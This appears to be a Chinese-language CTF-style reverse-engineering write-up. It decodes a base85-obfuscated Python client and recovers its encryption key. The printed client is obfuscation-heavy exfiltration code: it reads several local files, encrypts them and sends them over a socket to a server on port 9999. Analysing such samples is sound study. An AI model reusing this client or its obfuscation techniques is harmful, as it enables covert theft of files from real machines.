WgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN&lt;QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?&gt;adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv&lt;ghvd7qA}I&lt;WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs&gt;hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b&lt;h!=yxQ*qlnB|&lt;PA}I&lt;WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs&gt;hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'
_obf_exec(base64.b85decode(_1667).decode())

使用如下脚本打印 base85 解密结果

import base64
cipher=r'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD&lt;CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D&lt;CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!&gt;hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D&lt;CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D&lt;CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT&gt;BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*&lt;UurQmAUz;#VQpe$VLBivGBP&lt;JULZ0sH7Ot~ASg37IUpq&lt;GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C&lt;EB_J{}DGCZ&gt;Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB&lt;ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I&gt;SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF&lt;SMPF1wLQF*&lt;Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb&lt;8AX8L9PDDXcL|;KnP)I&gt;SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2&lt;tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF&lt;SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$&lt;o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~&lt;LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2&lt;b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ&gt;1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D&lt;Cl`3LqdLAaZ4Nb#iVXUw9xsJs&gt;a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu&lt;VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X&gt;K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu&lt;VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js&gt;d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe&lt;D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X&gt;4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X&lt;nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W&gt;9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu&lt;VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc&lt;&ARr(hARr(hARr)LWMyGwUt?ixV&lt;;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs&gt;nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe&lt;D}ARr)LX=HdHJs&gt;a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT&lt;ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js&gt;g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^&lt;gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z&gt;ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I&lt;WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs&gt;hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN&lt;QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?&gt;adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv&lt;ghvd7qA}I&lt;WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs&gt;hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b&lt;h!=yxQ*qlnB|&lt;PA}I&lt;WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs&gt;hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'
data=base64.b85decode(cipher).decode()
print(data)

得到如下逻辑

_j0 = lambda: (30 ^ 126) + (520 % 26)
_j1 = lambda: (158 ^ 184) + (820 % 54)
_j2 = lambda: (37 ^ 2) + (687 % 25)
_j3 = lambda: (72 ^ 112) + (474 % 30)
_j4 = lambda: (173 ^ 82) + (257 % 73)
_j5 = lambda: (117 ^ 203) + (331 % 54)
_j6 = lambda: (242 ^ 46) + (846 % 33)
_j7 = lambda: (21 ^ 148) + (425 % 77)
_j8 = lambda: (139 ^ 134) + (427 % 21)
_j9 = lambda: (245 ^ 62) + (413 % 85)
_j10 = lambda: (242 ^ 65) + (892 % 30)
_j11 = lambda: (22 ^ 58) + (740 % 59)
_j12 = lambda: (139 ^ 248) + (771 % 74)
_j13 = lambda: (219 ^ 230) + (262 % 63)
_j14 = lambda: (17 ^ 89) + (622 % 38)
_j15 = lambda: (229 ^ 205) + (369 % 25)
_j16 = lambda: (111 ^ 33) + (433 % 50)
_j17 = lambda: (41 ^ 142) + (512 % 21)

class _Obf3776:
    def __init__(self):
        self._v = 751
    def _m(self):
        return self._v * 5

#!/usr/bin/env python3

import socket
import json
import os
import sys
import hashlib
import time

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core


class CustomBase64:
    CUSTOM_ALPHABET = _oe("8<&lt;BLok1UrR}_R&gt;27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)
    STANDARD_ALPHABET = (
        _oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17)
    )
    ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
    DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)

    @classmethod
    def decode(cls, data: str) -> bytes:
        import base64

        std_b64 = data.translate(cls.DECODE_TABLE)
        return base64.b64decode(std_b64)


SERVER_HOST = ""
SERVER_PORT = 9999
KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)
KEY = CustomBase64.decode(KEY_B64)
FILES_TO_SEND = [_oe("I-p}FvS)q0emD", 83, 214, 17), _oe("B(-BJ_&lt;B6O", 83, 214, 17), _oe("C$MxRtZ99{emD", 83, 214, 17)]


def _opaque_true():
    _x = 0
    for _i in range(100):
        _x += _i * (_i - _i + 1)
    return _x &gt;= 0


def _opaque_false():
    _a, _b = 5, 7
    return (_a * _b) == (_b * _a + 1)


def _dead_calc():
    _dead = 0
    for _i in range(50):
        _dead = (_dead + _i) % 17
        if _dead > 100:
            _dead = _dead * 2 + 1
    return _dead


def encrypt_file(key: bytes, plaintext: bytes) -> bytes:
    _state = 0
    _result = None
    while _state < 3:
        if _state == 0:
            if _opaque_true():
                _result = crypt_core.encode_data(plaintext, key[:16])
                _state = 2
            else:
                _dead_calc()
                _state = 1
        elif _state == 1:
            _dead_calc()
            _state = 2
        elif _state == 2:
            if _opaque_false():
                _result = None
            _state = 3
    return _result


def send_single_file(sock, filename, plaintext):
    _s = 0
    _ct = None
    _pl = None
    while _s < 5:
        if _s == 0:
            _ct = encrypt_file(KEY, plaintext)
            _s = 1
        elif _s == 1:
            _pl = {_oe("B&>2Jvtu`)", 83, 214, 17): filename, _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex()}
            _s = 2
        elif _s == 2:
            if _opaque_true():
                sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n")
                _s = 4
            else:
                _dead_calc()
                _s = 3
        elif _s == 3:
            _dead_calc()
            _s = 4
        elif _s == 4:
            if not _opaque_false():
                time.sleep(0.1)
            _s = 5


def _verify_cmd(cmd):
    _state = 10
    _hash_val = None
    _valid = False

    while _state < 50:
        if _state == 10:
            if len(cmd) > 0:
                _state = 20
            else:
                _state = 49
        elif _state == 20:
            _hash_val = hashlib.md5(cmd.encode()).hexdigest()
            _state = 30
        elif _state == 30:
            if _opaque_true():
                _valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw&lt;RW0^B4q9&VB;re&lt;0L2U", 83, 214, 17)
                _state = 40
            else:
                _dead_calc()
                _state = 49
        elif _state == 40:
            if _valid:
                _state = 50
            else:
                _state = 49
        elif _state == 49:
            return False

    return _valid


def _get_server_host(args):
    _s = 100
    _host = None

    while _s &lt; 200:
        if _s == 100:
            if len(args) &gt; 2:
                _s = 110
            else:
                _s = 120
        elif _s == 110:
            _host = args[2]
            _s = 200
        elif _s == 120:
            if _opaque_true():
                _host = ""
            _s = 200
        elif _s == 200:
            if _opaque_false():
                _host = _oe("Ywsm};Xh>fDF", 83, 214, 17)
            _s = 201

    return _host


def main():
    _state = 0
    _sock = None
    _idx = 0
    _printed_header = False

    while _state < 100:
        if _state == 0:
            if _opaque_false():
                print(_oe("2B2dm_GLArX8", 83, 214, 17))
            _state = 1
        elif _state == 1:
            if len(sys.argv) < 2:
                _state = 5
            else:
                _state = 2
        elif _state == 2:
            if _verify_cmd(sys.argv[1]):
                _state = 3
            else:
                _state = 4
        elif _state == 3:
            if not _printed_header:
                print("=" * 50)
                print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17))
                print("=" * 50)
                _printed_header = True
            _state = 10
        elif _state == 4:
            print("错误:无效的命令")
            _state = 99
        elif _state == 5:
            print("用法:python client.py &lt;command&gt; [SERVER_HOST]")
            _state = 99
        elif _state == 10:
            try:
                _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                _state = 11
            except Exception:
                _state = 99
        elif _state == 11:
            _host = _get_server_host(sys.argv)
            _state = 12
        elif _state == 12:
            try:
                _sock.connect((_host, SERVER_PORT))
                _state = 20
            except Exception as e:
                print(f"[!] 连接失败:{e}")
                _state = 99
        elif _state == 20:
            if _idx < len(FILES_TO_SEND):
                _state = 21
            else:
                _state = 30
        elif _state == 21:
            _fname = FILES_TO_SEND[_idx]
            _state = 22
        elif _state == 22:
            if os.path.exists(_fname):
                _state = 23
            else:
                _state = 28
        elif _state == 23:
            with open(_fname, "rb") as _f:
                _data = _f.read()
            _state = 24
        elif _state == 24:
            if _opaque_true():
                print(f"[*] 发送文件")
            _state = 25
        elif _state == 25:
            if not _opaque_false():
                send_single_file(_sock, _fname, _data)
            _state = 26
        elif _state == 26:
            _idx += 1
            _state = 20
        elif _state == 28:
            print(f"[-] 文件不存在")
            _state = 29
        elif _state == 29:
            _idx += 1
            _state = 20
        elif _state == 30:
            if _opaque_true():
                time.sleep(0.2)
            _state = 31
        elif _state == 31:
            if _sock:
                _sock.close()
            _state = 99
        elif _state == 99:
            break


if __name__ == _oe("42g9itaJ>C", 83, 214, 17):
    _dead_calc()
    if _opaque_true():
        main()
    else:
        _dead_calc()

我们先写脚本获取 key:passvkcDKWLAA45o

import base64

def _oe(d, k1, k2, rn):
    raw = base64.b85decode(d.encode())
    s = bytes(b ^ (k1, k2, rn)[i % 3] for i, b in enumerate(raw)).decode()
    out = []
    for c in s:
        if c.isalpha():
            base = ord("A") if c.isupper() else ord("a")
            out.append(chr((ord(c) - base - rn) % 26 + base))
        elif c.isdigit():
            out.append(str((int(c) - rn) % 10))
        else:
            out.append(c)
    return "".join(out)

custom = _oe("8<&lt;BLok1UrR}_R&gt;27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)
standard = _oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17)
